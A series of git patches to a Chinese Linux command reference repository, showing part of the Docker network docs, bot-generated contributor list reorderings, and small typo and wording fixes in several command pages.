+返回有关一个或多个网络的信息。默认情况下，此命令将所有结果呈现在JSON对象中。 + +```shell +docker network inspect [OPTIONS] NETWORK [NETWORK...] +``` + +#### 选项参数 + +```shell +-f,--format 使用给定的Go模板格式化输出 +-v,--verbose 详细输出以进行诊断 +``` + +### docker network ls +列出引擎daemon知道的所有网络。这包括跨群集中多个主机的网络 + +```shell +docker network ls [OPTIONS] +``` + +#### 选项参数 + +```shell +-f,--filter 提供过滤器值（例如"driver = bridge"） +--format 使用Go模板的精美印刷网络 +--no-trunc 不要截断输出 +-q,--quiet 仅显示网络ID +``` + +### docker network prune +删除所有未使用的网络。未使用的网络是未被任何正在使用的容器引用的网络()。 + +```shell +docker network prune [OPTIONS] +``` + +#### 选项参数 + +```shell +--filter 提供过滤器值（例如'until ='） +-f,--force 不提示确认 +``` +### docker network rm +按名称或标识符删除一个或多个网络。要删除网络，必须首先断开连接到它的所有容器。 + +```shell +docker network rm NETWORKID [NETWORKID...] +``` + ## 官网 更多安装使用方法可以访问学习：https://wangchujiang.com/reference/docs/docker.html From 1280101616310ee18cc72467c7329a0d44a2795f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 23 Feb 2024 05:54:36 +0000 Subject: [PATCH 301/570] doc: update README.md. --- README.md | 48 ++++++++++++++++++++++++------------------------ 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/README.md b/README.md index b7be960c454..95fa01befbe 100644 --- a/README.md +++ b/README.md @@ -411,12 +411,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN - - ernest - dulltackle + + ernest + 谈笑风生间 @@ -438,15 +438,15 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - alfred - - - Wang Jianing - Qliangw + + Wang Yujia + + + alfred + 沙漠之子 @@ -462,21 +462,27 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 gggwvg - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD + + Shan Chenyu + Dazhuangw + + alterem + YH @@ -486,9 +492,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang - - Shan Chenyu - sfwwslm @@ -567,8 +570,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny - - dayday + + Robigus 黑&蛋 @@ -657,9 +660,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - Robigus - Rining Wu @@ -741,6 +741,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Alan + + dayday + cxalc @@ -768,9 +771,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 One Person’s Revelry - - alterem - 0Knot (0KN) From 79c5ad5dc7a040b7fc7ed22eb3e0ba3e8a0f0f85 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 23 Feb 2024 05:54:37 +0000 Subject: [PATCH 302/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 48 +++++++++++++++++++-------------------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ff0d5f0b06c..945e6cda64c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -48,12 +48,12 @@ __FresHmaN - - ernest - dulltackle + + ernest + 谈笑风生间 @@ -75,15 +75,15 @@ James Wang - - alfred - - - Wang Jianing - Qliangw + + Wang Yujia + + + alfred + 沙漠之子 @@ -99,21 +99,27 @@ gggwvg - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD + + Shan Chenyu + Dazhuangw + + alterem + YH @@ -123,9 +129,6 @@ Xingwen Zhang - - Shan Chenyu - sfwwslm @@ -204,8 +207,8 @@ Deny - - dayday + + Robigus 黑&蛋 @@ -294,9 +297,6 @@ snovey - - Robigus - Rining Wu @@ -378,6 +378,9 @@ Alan + + dayday + cxalc @@ -405,9 +408,6 @@ One Person’s Revelry - - alterem - 0Knot (0KN) From 02e3ae8ef1809bad23a9b8f1f4d29c8f4602931c Mon Sep 17 00:00:00 2001 From: Cui Yang <21211512+cy920820@users.noreply.github.com> Date: Mon, 4 Mar 2024 15:03:02 +0800 Subject: [PATCH 303/570] doc: fix typo in ack.md (#565) --- command/ack.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/command/ack.md b/command/ack.md index 25fd30e798d..505be25ab16 100644 --- a/command/ack.md +++ b/command/ack.md @@ -14,7 +14,7 @@ apk install ack ## 参数 -这些参数在linux上的适用频率是相当高的，尤其是你用vim做为IDE的话 +这些参数在linux上的使用频率是相当高的，尤其是你用vim做为IDE的话 ```shell -c(统计)/ -i(忽略大小)/ -h(不显示名称)/ @@ -90,9 +90,9 @@ ack-grep -g hello.py$ # 查找正则匹配文件 ack-grep -g hello --sort-files # 查找然后排序 ``` -### File Inclusion/Exclusion +### File inclusion/exclusion -文件过滤，个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码是不小心命中日志中的某个关键字的话，你会觉得这个有用。 +文件过滤，个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码时不小心命中日志中的某个关键字的话，你会觉得这个有用。 ```shell ack-grep --python hello # 查找所有python文件 From 9121c344b467f5b81193e853b6708c2204c8992d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 4 Mar 2024 07:03:34 +0000 Subject: [PATCH 304/570] doc: update README.md. --- README.md | 91 ++++++++++++++++++++++++++++--------------------------- 1 file changed, 47 insertions(+), 44 deletions(-) diff --git a/README.md b/README.md index 95fa01befbe..22ea7247223 100644 --- a/README.md +++ b/README.md @@ -462,21 +462,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 gggwvg - - Pan, Wen-Ming - - - Ein Verne - - - BingCoke - - - RichardLCD - - - Shan Chenyu - Dazhuangw @@ -492,44 +477,59 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang - - sfwwslm + + Shan Chenyu - - rexlin600 + + RichardLCD - - oliver + + Pan, Wen-Ming - - shc + + BingCoke - - noodles2hg + + Ein Verne - - miniwater + + kid1412621 - - myliwenbo + + leo - - cole + + lewis1573 + + + linuxwd Ricardowang - - linuxwd + + cole - - lewis1573 + + myliwenbo - - leo + + miniwater - - kid1412621 + + noodles2hg + + + oliver + + + rexlin600 + + + sfwwslm + + + shc kassadin @@ -570,8 +570,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny - - Robigus + + dayday 黑&蛋 @@ -735,15 +735,15 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 DaYangtuo247 + + Cui Yang + Azroy Alan - - dayday - cxalc @@ -824,6 +824,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Rocher + + + Robigus 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 49b02fea2d5690ba554435d4dd2c1fc263328efe Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 4 Mar 2024 07:03:34 +0000 Subject: [PATCH 305/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 91 ++++++++++++++++++++------------------- 1 file changed, 47 insertions(+), 44 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 945e6cda64c..21ea0e9704b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -99,21 +99,6 @@ gggwvg - - Pan, Wen-Ming - - - Ein Verne - - - BingCoke - - - RichardLCD - - - Shan Chenyu - Dazhuangw @@ -129,44 +114,59 @@ Xingwen Zhang - - sfwwslm + + Shan Chenyu - - rexlin600 + + RichardLCD - - oliver + + Pan, Wen-Ming - - shc + + BingCoke - - noodles2hg + + Ein Verne - - miniwater + + kid1412621 - - myliwenbo + + leo - - cole + + lewis1573 + + + linuxwd Ricardowang - - linuxwd + + cole - - lewis1573 + + myliwenbo - - leo + + miniwater - - kid1412621 + + noodles2hg + + + oliver + + + rexlin600 + + + sfwwslm + + + shc kassadin @@ -207,8 +207,8 @@ Deny - - Robigus + + dayday 黑&蛋 @@ -372,15 +372,15 @@ DaYangtuo247 + + Cui Yang + Azroy Alan - - dayday - cxalc @@ -461,6 +461,9 @@ Rocher + + + Robigus

From 11cea6daf9a82cd7d0693a56870775123e6d924d Mon Sep 17 00:00:00 2001 From: Lix Date: Wed, 13 Mar 2024 21:09:50 +0800 Subject: [PATCH 306/570] doc: update command/rm.md (#568) --- command/rm.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/rm.md b/command/rm.md index f0198cbdb5e..c628cd54f12 100644 --- a/command/rm.md +++ b/command/rm.md @@ -127,7 +127,7 @@ rm -I file1 file2 file3 > 然而，如果你非得完成这个操作，你需要使用 --no-preserve-root 选项。当提供此选项，rm 就不会特殊处理根目录（/）了。 ```shell -不给实例了，操作系统都被你删除了，你太坏了😆 +不给示例了，操作系统都被你删除了，你太坏了😆 ``` **rm 显示当前删除操作的详情** From e1a427e9d1e65d1bb07021c2eafce9593e5fbb9a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 13 Mar 2024 13:10:21 +0000 Subject: [PATCH 307/570] doc: update README.md. --- README.md | 617 ++++++++++++++---------------------------------------- 1 file changed, 155 insertions(+), 462 deletions(-) diff --git a/README.md b/README.md index 22ea7247223..71a34be3172 100644 --- a/README.md +++ b/README.md @@ -366,468 +366,161 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 一如既往，感谢我们出色的贡献者！ - - 小弟调调 - - - ZhuangZhu-74 - - - Mend Renovate - - - Huck Huang - - - lutixiaya - - - L - - - clay-wangzhi - - - Glett - - - 项金 - - - 烟草的香味 - - - Jayin Tang - - - 丛林意志 - - - Zijing Zhang - - - Fubin Zhang - - - __FresHmaN - - - dulltackle - - - ernest - - - 谈笑风生间 - - - rgshare - - - loverainye - - - lavaicer - - - SteveLauC - - - Lnkstls - - - James Wang - - - Qliangw - - - Wang Yujia - - - alfred - - - 沙漠之子 - - - Shell - - - xhal - - - wVVaTT - - - gggwvg - - - Dazhuangw - - - alterem - - - YH - - - Xrtero - - - Xingwen Zhang - - - Shan Chenyu - - - RichardLCD - - - Pan, Wen-Ming - - - BingCoke - - - Ein Verne - - - kid1412621 - - - leo - - - lewis1573 - - - linuxwd - - - Ricardowang - - - cole - - - myliwenbo - - - miniwater - - - noodles2hg - - - oliver - - - rexlin600 - - - sfwwslm - - - shc - - - kassadin - - - juemuren4449 - - - jqz3.tech - - - jcdj666 - - - huangyao - - - gcluffy - - - ghy - - - gesty - - - gedune - - - gang.yang - - - ecjtusbs - - - dongpohezui - - - Deny - - - dayday - - - 黑&蛋 - - - Panthea Johnson - - - 远方 - - - 谢民皆 - - - Kyofin - - - 继刚 - - - 移动的红烧肉 - - - 甲寅 - - - 极简XksA - - - ReZero - - - Loofra - - - 徐伟 - - - 尘埃 - - - 宋小北 - - - 孤城落寞 - - - 七朔 - - - zyimm - - - zuixin369 - - - zoomdong - - - zodiac - - - zjlovezj - - - yanyx - - - Lingfeng Wang - - - weibk - - - UniqueDing - - - tutianyu101 - - - tangke - - - sunls24 - - - snovey - - - Rining Wu - - - Ray Yee - - - Mystic - - - MinsonLee - - - Marnm - - - mwei - - - Wang - - - Lucien - - - LinuxZilong - - - 孟思行 - - - LexsionLee - - - Legend - - - LaudOak - - - Nexchard - - - Jeremy2214 - - - Jack.A.Black - - - Jack - - - Huntout Zhang - - - HighScorePlayer - - - Herbert8 - - - Guiying Li - - - Frankie - - - Divenire - - - Danny - - - DaYangtuo247 - - - Cui Yang - - - Azroy - - - Alan - - - cxalc - - - Forever121 - - - c2ch - - - brinkqiang - - - bell - - - azureology - - - Ashine - - - amit794 - - - One Person’s Revelry - - - 0Knot (0KN) - - - Yunbin Liu - - - Yan Sheng - - - YEUNGCHIE - - - Xu Chunyang - - - Xonline-Tech - - - Xiaodong DENG - - - XBG - - - Wingrez - - - Na Meng - - - T-TRz879 - - - Spaghetti-C - - - RoachZhao - - - Azolla - - - SevenSteven - - - SMVirus - - - 殇 - - - Rocher - - - Robigus - +小弟调调 +ZhuangZhu-74 +Mend Renovate +Huck Huang +lutixiaya +L +clay-wangzhi +Glett +项金 +烟草的香味 +Jayin Tang +丛林意志 +Zijing Zhang +Fubin Zhang +__FresHmaN +dulltackle +ernest +谈笑风生间 +rgshare +loverainye +lavaicer +SteveLauC +Lnkstls +James Wang +Qliangw +Wang Yujia +alfred +沙漠之子 +Shell +xhal +wVVaTT +gggwvg +Dazhuangw +Alterem +YH +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +BingCoke +Ein Verne +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +oliver +rexlin600 +sfwwslm +黑&蛋 +kassadin +juemuren4449 +jqz3.tech +jcdj666 +huangyao +gcluffy +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Panthea Johnson +远方 +谢民皆 +Kyofin +继刚 +移动的红烧肉 +甲寅 +极简XksA +ReZero +Loofra +徐伟 +尘埃 +宋小北 +孤城落寞 +七朔 +zyimm +zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +sunls24 +snovey +shc +Ray Yee +Mystic +MinsonLee +Marnm +mwei +Wang +Lucien +Lix +LinuxZilong +孟思行 +LexsionLee +Legend +LaudOak +Nexchard +Jeremy2214 +Jack.A.Black +Jack +Huntout Zhang +HighScorePlayer +Herbert8 +Guiying Li +Frankie +Divenire +Danny +DaYangtuo247 +Cui Yang +Azroy +Alan +Forever121 +c2ch +brinkqiang +bell +azureology +Ashine +amit794 +One Person’s Revelry +0Knot (0KN) +Yunbin Liu +Yan Sheng +YEUNGCHIE +Xu Chunyang +Xonline-Tech +Xiaodong DENG +XBG +Wingrez +Na Meng +T-TRz879 +Spaghetti-C +RoachZhao +Azolla +SevenSteven +SMVirus +殇 +Rocher +Robigus +Rining Wu 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 57bb010d9751e8995f3513f2afe6f0310e013a75 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 13 Mar 2024 13:10:21 +0000 Subject: [PATCH 308/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 617 ++++++++++---------------------------- 1 file changed, 155 insertions(+), 462 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 21ea0e9704b..eb0896b0fb9 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -3,468 +3,161 @@

贡献者列表

- - 小弟调调 - - - ZhuangZhu-74 - - - Mend Renovate - - - Huck Huang - - - lutixiaya - - - L - - - clay-wangzhi - - - Glett - - - 项金 - - - 烟草的香味 - - - Jayin Tang - - - 丛林意志 - - - Zijing Zhang - - - Fubin Zhang - - - __FresHmaN - - - dulltackle - - - ernest - - - 谈笑风生间 - - - rgshare - - - loverainye - - - lavaicer - - - SteveLauC - - - Lnkstls - - - James Wang - - - Qliangw - - - Wang Yujia - - - alfred - - - 沙漠之子 - - - Shell - - - xhal - - - wVVaTT - - - gggwvg - - - Dazhuangw - - - alterem - - - YH - - - Xrtero - - - Xingwen Zhang - - - Shan Chenyu - - - RichardLCD - - - Pan, Wen-Ming - - - BingCoke - - - Ein Verne - - - kid1412621 - - - leo - - - lewis1573 - - - linuxwd - - - Ricardowang - - - cole - - - myliwenbo - - - miniwater - - - noodles2hg - - - oliver - - - rexlin600 - - - sfwwslm - - - shc - - - kassadin - - - juemuren4449 - - - jqz3.tech - - - jcdj666 - - - huangyao - - - gcluffy - - - ghy - - - gesty - - - gedune - - - gang.yang - - - ecjtusbs - - - dongpohezui - - - Deny - - - dayday - - - 黑&蛋 - - - Panthea Johnson - - - 远方 - - - 谢民皆 - - - Kyofin - - - 继刚 - - - 移动的红烧肉 - - - 甲寅 - - - 极简XksA - - - ReZero - - - Loofra - - - 徐伟 - - - 尘埃 - - - 宋小北 - - - 孤城落寞 - - - 七朔 - - - zyimm - - - zuixin369 - - - zoomdong - - - zodiac - - - zjlovezj - - - yanyx - - - Lingfeng Wang - - - weibk - - - UniqueDing - - - tutianyu101 - - - tangke - - - sunls24 - - - snovey - - - Rining Wu - - - Ray Yee - - - Mystic - - - MinsonLee - - - Marnm - - - mwei - - - Wang - - - Lucien - - - LinuxZilong - - - 孟思行 - - - LexsionLee - - - Legend - - - LaudOak - - - Nexchard - - - Jeremy2214 - - - Jack.A.Black - - - Jack - - - Huntout Zhang - - - HighScorePlayer - - - Herbert8 - - - Guiying Li - - - Frankie - - - Divenire - - - Danny - - - DaYangtuo247 - - - Cui Yang - - - Azroy - - - Alan - - - cxalc - - - Forever121 - - - c2ch - - - brinkqiang - - - bell - - - azureology - - - Ashine - - - amit794 - - - One Person’s Revelry - - - 0Knot (0KN) - - - Yunbin Liu - - - Yan Sheng - - - YEUNGCHIE - - - Xu Chunyang - - - Xonline-Tech - - - Xiaodong DENG - - - XBG - - - Wingrez - - - Na Meng - - - T-TRz879 - - - Spaghetti-C - - - RoachZhao - - - Azolla - - - SevenSteven - - - SMVirus - - - 殇 - - - Rocher - - - Robigus - + 小弟调调 +ZhuangZhu-74 +Mend Renovate +Huck Huang +lutixiaya +L +clay-wangzhi +Glett +项金 +烟草的香味 +Jayin Tang +丛林意志 +Zijing Zhang +Fubin Zhang +__FresHmaN +dulltackle +ernest +谈笑风生间 +rgshare +loverainye +lavaicer +SteveLauC +Lnkstls +James Wang +Qliangw +Wang Yujia +alfred +沙漠之子 +Shell +xhal +wVVaTT +gggwvg +Dazhuangw +Alterem +YH +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +Pan, Wen-Ming +BingCoke +Ein Verne +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +oliver +rexlin600 +sfwwslm +黑&蛋 +kassadin +juemuren4449 +jqz3.tech +jcdj666 +huangyao +gcluffy +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Panthea Johnson +远方 +谢民皆 +Kyofin +继刚 +移动的红烧肉 +甲寅 +极简XksA +ReZero +Loofra +徐伟 +尘埃 +宋小北 +孤城落寞 +七朔 +zyimm +zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +sunls24 +snovey +shc +Ray Yee +Mystic +MinsonLee +Marnm +mwei +Wang +Lucien +Lix +LinuxZilong +孟思行 +LexsionLee +Legend +LaudOak +Nexchard +Jeremy2214 +Jack.A.Black +Jack +Huntout Zhang +HighScorePlayer +Herbert8 +Guiying Li +Frankie +Divenire +Danny +DaYangtuo247 +Cui Yang +Azroy +Alan +Forever121 +c2ch +brinkqiang +bell +azureology +Ashine +amit794 +One Person’s Revelry +0Knot (0KN) +Yunbin Liu +Yan Sheng +YEUNGCHIE +Xu Chunyang +Xonline-Tech +Xiaodong DENG +XBG +Wingrez +Na Meng +T-TRz879 +Spaghetti-C +RoachZhao +Azolla +SevenSteven +SMVirus +殇 +Rocher +Robigus +Rining Wu

数据来源于 GitHub Contributors，使用action-contributors创建。 From a90fb67ea143a6625f9d9c1bf275182beb20a1d0 Mon Sep 17 00:00:00 2001 From: shuangcui Date: Fri, 15 Mar 2024 01:36:10 +0800 Subject: [PATCH 309/570] chore: fix some typos (#569) Signed-off-by: shuangcui --- command/ab.md | 2 +- command/arping.md | 2 +- command/gdb.md | 2 +- command/git.md | 2 +- command/info.md | 2 +- command/nethogs.md | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/command/ab.md b/command/ab.md index 1823c7c1d01..8beb72dbf09 100644 --- a/command/ab.md +++ b/command/ab.md @@ -61,7 +61,7 @@ name[:port]/path -g gnuplot-file # Write all measured values out as a 'gnuplot' or TSV (Tab separate # values) file. This file can easily be imported into packages like - # Gnuplot, IDL, Mathematica, Igor or even Excell. The labels are on + # Gnuplot, IDL, Mathematica, Igor or even Excel. The labels are on # the first line of the file. -h # 显示使用说明 -H custom-header diff --git a/command/arping.md b/command/arping.md index 7e825c79c3c..918942df3bf 100644 --- a/command/arping.md +++ b/command/arping.md @@ -21,7 +21,7 @@ arping(选项)(参数) -f：表示在收到第一个响应报文后就退出； -w timeout：设定一个超时时间，单位是秒。如果到了指定时间，arping还没到完全收到响应则退出； -c count：表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项，则arping会等待相同数量的arp响应包，直到超时为止； --s source：设定arping发送的arp数据包中的SPA字段的值。如果为空，则按下面处理，如果是DAD模式（冲突地址探测），则设置为0.0.0.0，如果是Unsolicited ARP模式（Gratutious ARP）则设置为目标地址，否则从路由表得出； +-s source：设定arping发送的arp数据包中的SPA字段的值。如果为空，则按下面处理，如果是DAD模式（冲突地址探测），则设置为0.0.0.0，如果是Unsolicited ARP模式（Gratuitous ARP）则设置为目标地址，否则从路由表得出； -I interface：设置ping使用的网络接口。 ``` diff --git a/command/gdb.md b/command/gdb.md index b69f2599205..d72ec9f01d6 100644 --- a/command/gdb.md +++ b/command/gdb.md @@ -290,7 +290,7 @@ Breakpoint 4, main () at gdb-sample.c:17 1: x/i $pc 0x804835c : movl $0x1,0xfffffffc(%ebp) ``` -此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”： +此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Information Register”： ```shell (gdb) i r diff --git a/command/git.md b/command/git.md index 9b811a9db58..2c7ea45b20a 100644 --- a/command/git.md +++ b/command/git.md @@ -936,7 +936,7 @@ git remote show origin # 查看指定源的全部信息 ```shell git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签 git push origin --tags # 一次性推送所有分支 -git push origin v1.5 # 推送单个tag到orgin源上 +git push origin v1.5 # 推送单个tag到origin源上 git tag -v v1.4.2.1 # 验证标签，验证已经签署的标签 git show v1.5 # 看到对应的 GPG 签 diff --git a/command/info.md b/command/info.md index a3e785a4d3d..0224e9b7f4f 100644 --- a/command/info.md +++ b/command/info.md @@ -72,7 +72,7 @@ info info **Del 键** 上一页（PageUp 也可以，上一页从当前页的开始两行开始算起） 上一个 Node （若当前页 Node 文档的开始） - **b 或 t 或 Home** 文档的开始（b 是 begining 的意思） + **b 或 t 或 Home** 文档的开始（b 是 beginning 的意思） **e 或 End** 文档的末尾（b 是 ending 的意思） **Ctrl-l** 刷新当前页，若当前文档显示情况有问题时 **Ctrl-g** 取消所键入的指令 diff --git a/command/nethogs.md b/command/nethogs.md index 0fcc6f15f99..d1f97ffe52e 100644 --- a/command/nethogs.md +++ b/command/nethogs.md @@ -49,7 +49,7 @@ usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [ ```shell -d : 刷新间隔 -h : 帮助 --p : promiscious 模式 +-p : promiscuous 模式 -t : trace模式 -V : 版本 ``` From 4bc8306c00a6db3b9fd9fd56d7fff4660abb47d8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 14 Mar 2024 17:36:41 +0000 Subject: [PATCH 310/570] doc: update README.md. --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 71a34be3172..a9e4208c3fa 100644 --- a/README.md +++ b/README.md @@ -408,7 +408,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Pan, Wen-Ming BingCoke Ein Verne -kid1412621 leo lewis1573 linuxwd @@ -420,7 +419,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver rexlin600 sfwwslm +shc 黑&蛋 +kid1412621 kassadin juemuren4449 jqz3.tech @@ -435,7 +436,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dongpohezui Deny dayday -cxalc Panthea Johnson 远方 谢民皆 @@ -464,7 +464,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 tangke sunls24 snovey -shc +shuangcui +cxalc Ray Yee Mystic MinsonLee From a044c4717021729c27cb8b59216da98f4a8368de Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 14 Mar 2024 17:36:42 +0000 Subject: [PATCH 311/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index eb0896b0fb9..b4cf94a27de 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -45,7 +45,6 @@ Pan, Wen-Ming BingCoke Ein Verne -kid1412621 leo lewis1573 linuxwd @@ -57,7 +56,9 @@ oliver rexlin600 sfwwslm +shc 黑&蛋 +kid1412621 kassadin juemuren4449 jqz3.tech @@ -72,7 +73,6 @@ dongpohezui Deny dayday -cxalc Panthea Johnson 远方 谢民皆 @@ -101,7 +101,8 @@ tangke sunls24 snovey -shc +shuangcui +cxalc Ray Yee Mystic MinsonLee From 7ffccdbd48292bea27d3710312f06f16f45285c6 Mon Sep 17 00:00:00 2001 From: Derek <68425858+zxyup@users.noreply.github.com> Date: Wed, 20 Mar 2024 01:36:49 +0800 Subject: [PATCH 312/570] doc: update command/du.md (#570) du -d --- command/du.md | 1 + 1 file changed, 1 insertion(+) diff --git a/command/du.md b/command/du.md index a37ba58d3da..7a47fcd0831 100644 --- a/command/du.md +++ b/command/du.md @@ -21,6 +21,7 @@ du [选项][文件] -b, --bytes 显示目录或文件大小时，以byte为单位。 -c, --total 除了显示个别目录或文件的大小外，同时也显示所有目录或文件的总和。 -D, --dereference-args 显示指定符号链接的源文件大小。 +-d, --max-depth=N 限制文件夹深度 -H, --si 与-h参数相同，但是K，M，G是以1000为换算单位。 -h, --human-readable 以K，M，G为单位，提高信息的可读性。 -k, --kilobytes 以KB(1024bytes)为单位输出。 From dd479f7e8e9286985d8878b31a65f506211284b9 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 19 Mar 2024 17:37:21 +0000 Subject: [PATCH 313/570] doc: update README.md. --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index a9e4208c3fa..e4a6a35f6ff 100644 --- a/README.md +++ b/README.md @@ -408,6 +408,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Pan, Wen-Ming BingCoke Ein Verne +kid1412621 leo lewis1573 linuxwd @@ -420,8 +421,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 rexlin600 sfwwslm shc -黑&蛋 -kid1412621 kassadin juemuren4449 jqz3.tech @@ -436,6 +435,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dongpohezui Deny dayday +Ray Yee +黑&蛋 Panthea Johnson 远方 谢民皆 @@ -465,8 +466,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 sunls24 snovey shuangcui -cxalc -Ray Yee Mystic MinsonLee Marnm @@ -489,11 +488,13 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Guiying Li Frankie Divenire +Derek Danny DaYangtuo247 Cui Yang Azroy Alan +cxalc Forever121 c2ch brinkqiang From 3bf82f3a7a7c930f001f1fa0ca2b6bff27b1ee53 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 19 Mar 2024 17:37:21 +0000 Subject: [PATCH 314/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index b4cf94a27de..996caad14cd 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -45,6 +45,7 @@ Pan, Wen-Ming BingCoke Ein Verne +kid1412621 leo lewis1573 linuxwd @@ -57,8 +58,6 @@ rexlin600 sfwwslm shc -黑&蛋 -kid1412621 kassadin juemuren4449 jqz3.tech @@ -73,6 +72,8 @@ dongpohezui Deny dayday +Ray Yee +黑&蛋 Panthea Johnson 远方 谢民皆 @@ -102,8 +103,6 @@ sunls24 snovey shuangcui -cxalc -Ray Yee Mystic MinsonLee Marnm @@ -126,11 +125,13 @@ Guiying Li Frankie Divenire +Derek Danny DaYangtuo247 Cui Yang Azroy Alan +cxalc Forever121 c2ch brinkqiang From 034ef006ad221aa99612e83668029415094072d6 Mon Sep 17 00:00:00 2001 From: Lin Wuxian Date: Sun, 7 Apr 2024 16:42:10 +0800 Subject: [PATCH 315/570] doc: Update nice.md (#572) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 3句话能给你搞得前后矛盾 --- command/nice.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/nice.md b/command/nice.md index 36ffd54c6dd..a5c3640fc35 100644 --- a/command/nice.md +++ b/command/nice.md @@ -17,7 +17,7 @@ nice [选项] [命令 [参数]...] ### 选项 ```shell --n：指定nice值（整数，-20（最低）~19（最高））。 +-n：指定nice值（整数，-20（最高）~19（最低））。 ``` ### 参数 From 7f32876053f4fb10f3f2246253a07feaf636d426 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 7 Apr 2024 08:42:36 +0000 Subject: [PATCH 316/570] doc: update README.md. --- README.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index e4a6a35f6ff..4d1fe93c1f0 100644 --- a/README.md +++ b/README.md @@ -405,9 +405,10 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang 